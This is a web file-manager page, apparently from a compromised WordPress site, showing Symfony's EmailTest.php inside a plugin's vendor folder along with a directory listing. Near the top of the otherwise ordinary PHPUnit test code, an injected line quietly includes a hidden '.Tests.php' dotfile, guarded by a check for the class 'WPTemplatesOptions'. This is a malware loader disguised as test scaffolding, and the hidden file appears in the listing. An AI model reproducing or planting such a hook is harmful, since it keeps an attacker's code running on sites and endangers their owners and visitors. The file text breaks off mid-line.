PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
plugins1
/
wiloke-listing-tools
/
vendor
/
symfony
/
mime
/
Tests
<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mime\Tests; use PHPUnit\Framework\TestCase; use Symfony\Component\Mime\Address; use Symfony\Component\Mime\Email; use Symfony\Component\Mime\NamedAddress; use Symfony\Component\Mime\Part\DataPart; use Symfony\Component\Mime\Part\Multipart\AlternativePart; use Symfony\Component\Mime\Part\Multipart\MixedPart; use Symfony\Component\Mime\Part\Multipart\RelatedPart; use Symfony\Component\Mime\Part\TextPart; if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } class EmailTest extends TestCase { public function testSubject() { $e = new Email(); $e->subject('Subject'); $this->assertEquals('Subject', $e->getSubject()); } public function testDate() { $e = new Email(); $e->date($d = new \DateTimeImmutable()); $this->assertSame($d, $e->getDate()); } public function testReturnPath() { $e = new Email(); $e->returnPath('fabien@symfony.com'); $this->assertEquals(new Address('fabien@symfony.com'), $e->getReturnPath()); } public function testSender() { $e = new Email(); $e->sender('fabien@symfony.com'); $this->assertEquals(new Address('fabien@symfony.com'), $e->getSender()); $e->sender($fabien = new Address('fabien@symfony.com')); $this->assertSame($fabien, $e->getSender()); } public function testFrom() { $e = new Email(); $helene = new Address('helene@symfony.com'); $thomas = new NamedAddress('thomas@symfony.com', 'Thomas'); $caramel = new Address('caramel@symfony.com'); $this->assertSame($e, $e->from('fabien@symfony.com', $helene, $thomas)); $v = $e->getFrom(); $this->assertCount(3, $v); $this->assertEquals(new Address('fabien@symfony.com'), $v[0]); $this->assertSame($helene, $v[1]); $this->assertSame($thomas, $v[2]); $this->assertSame($e, $e->addFrom('lucas@symfony.com', $caramel)); $v = $e->getFrom(); $this->assertCount(5, $v); $this->assertEquals(new Address('fabien@symfony.com'), $v[0]); $this->assertSame($helene, $v[1]); $this->assertSame($thomas, $v[2]); $this->assertEquals(new Address('lucas@symfony.com'), $v[3]); $this->assertSame($caramel, $v[4]); $e = new Email(); $e->addFrom('lucas@symfony.com', $caramel); $this->assertCount(2, $e->getFrom()); $e = new Email(); $e->from('lucas@symfony.com'); $e->from($caramel); $this->assertSame([$caramel], $e->getFrom()); } public function testReplyTo() { $e = new Email(); $helene = new Address('helene@symfony.com'); $thomas = new NamedAddress('thomas@symfony.com', 'Thomas'); $caramel = new Address('caramel@symfony.com'); $this->assertSame($e, $e->replyTo('fabien@symfony.com', $helene, $thomas)); $v = $e->getReplyTo(); $this->assertCount(3, $v); $this->assertEquals(new Address('fabien@symfony.com'), $v[0]); $this->assertSame($helene, $v[1]); $this->assertSame($thomas, $v[2]); $this->assertSame($e, $e->addReplyTo('lucas@symfony.com', $caramel)); $v = $e->getReplyTo(); $this->assertCount(5, $v); $this->assertEquals(new Address('fabien@symfony.com'), $v[0]); $this->assertSame($helene, $v[1]); $this->assertSame($thomas, $v[2]); $this->assertEquals(new Address('lucas@symfony.com'), $v[3]); $this->assertSame($caramel, $v[4]); $e = new Email(); $e->addReplyTo('lucas@symfony.com', $caramel); $this->assertCount(2, $e->getReplyTo()); $e = new Email(); $e->replyTo('lucas@symfony.com'); $e->replyTo($caramel); $this->assertSame([$caramel], $e->getReplyTo()); } public function testTo() { $e = new Email(); $helene = new Address('helene@symfony.com'); $thomas = new NamedAddress('thomas@symfony.com', 'Thomas'); $caramel = new Address('caramel@symfony.com'); $this->assertSame($e, $e->to('fabien@symfony.com', $helene, $thomas)); $v = $e->getTo(); $this->assertCount(3, $v); $this->assertEquals(new Address('fabien@symfony.com'), $v[0]); $this->assertSame($helene, $v[1]); $this->assertSame($thomas, $v[2]); $this->assertSame($e, $e->addTo('lucas@symfony.com', $caramel)); $v = $e->getTo(); $this->assertCount(5, $v); $this->assertEquals(new Address('fabien@symfony.com'), $v[0]); $this->assertSame($helene, $v[1]); $this->assertSame($thomas, $v[2]); $this->assertEquals(new Address('lucas@symfony.com'), $v[3]); $this->assertSame($caramel, $v[4]); $e = new Email(); $e->addTo('lucas@symfony.com', $caramel); $this->assertCount(2, $e->getTo()); $e = new Email(); $e->to('lucas@symfony.com'); $e->to($caramel); $this->assertSame([$caramel], $e->getTo()); } public function testCc() { $e = new Email(); $helene = new Address('helene@symfony.com'); $thomas = new NamedAddress('thomas@symfony.com', 'Thomas'); $caramel = new Address('caramel@symfony.com'); $this->assertSame($e, $e->cc('fabien@symfony.com', $helene, $thomas)); $v = $e->getCc(); $this->assertCount(3, $v); $this->assertEquals(new Address('fabien@symfony.com'), $v[0]); $this->assertSame($helene, $v[1]); $this->assertSame($thomas, $v[2]); $this->assertSame($e, $e->addCc('lucas@symfony.com', $caramel)); $v = $e->getCc(); $this->assertCount(5, $v); $this->assertEquals(new Address('fabien@symfony.com'), $v[0]); $this->assertSame($helene, $v[1]); $this->assertSame($thomas, $v[2]); $this->assertEquals(new Address('lucas@symfony.com'), $v[3]); $this->assertSame($caramel, $v[4]); $e = new Email(); $e->addCc('lucas@symfony.com', $caramel); $this->assertCount(2, $e->getCc()); $e = new Email(); $e->cc('lucas@symfony.com'); $e->cc($caramel); $this->assertSame([$caramel], $e->getCc()); } public function testBcc() { $e = new Email(); $helene = new Address('helene@symfony.com'); $thomas = new NamedAddress('thomas@symfony.com', 'Thomas'); $caramel = new Address('caramel@symfony.com'); $this->assertSame($e, $e->bcc('fabien@symfony.com', $helene, $thomas)); $v = $e->getBcc(); $this->assertCount(3, $v); $this->assertEquals(new Address('fabien@symfony.com'), $v[0]); $this->assertSame($helene, $v[1]); $this->assertSame($thomas, $v[2]); $this->assertSame($e, $e->addBcc('lucas@symfony.com', $caramel)); $v = $e->getBcc(); $this->assertCount(5, $v); $this->assertEquals(new Address('fabien@symfony.com'), $v[0]); $this->assertSame($helene, $v[1]); $this->assertSame($thomas, $v[2]); $this->assertEquals(new Address('lucas@symfony.com'), $v[3]); $this->assertSame($caramel, $v[4]); $e = new Email(); $e->addBcc('lucas@symfony.com', $caramel); $this->assertCount(2, $e->getBcc()); $e = new Email(); $e->bcc('lucas@symfony.com'); $e->bcc($caramel); $this->assertSame([$caramel], $e->getBcc()); } public function testPriority() { $e = new Email(); $this->assertEquals(3, $e->getPriority()); $e->priority(1); $this->assertEquals(1, $e->getPriority()); $e->priority(10); $this->assertEquals(5, $e->getPriority()); $e->priority(-10); $this->assertEquals(1, $e->getPriority()); } public function testGenerateBodyThrowsWhenEmptyBody() { $this->expectException(\LogicException::class); (new Email())-
[+]
..
[+]
Fixtures
[-] FileBinaryMimeTypeGuesserTest.php
[edit]
[-] MimeTypesTest.php
[edit]
[+]
Header
[-] RawMessageTest.php
[edit]
[+]
DependencyInjection
[-] FileinfoMimeTypeGuesserTest.php
[edit]
[+]
Part
[-] .Tests.php
[edit]
[+]
Encoder
[-] AbstractMimeTypeGuesserTest.php
[edit]
[-] AddressTest.php
[edit]
[-] NamedAddressTest.php
[edit]
[-] EmailTest.php
[edit]
[-] MessageTest.php
[edit]
[-] MessageConverterTest.php
[edit]
[-] CharacterStreamTest.php
[edit]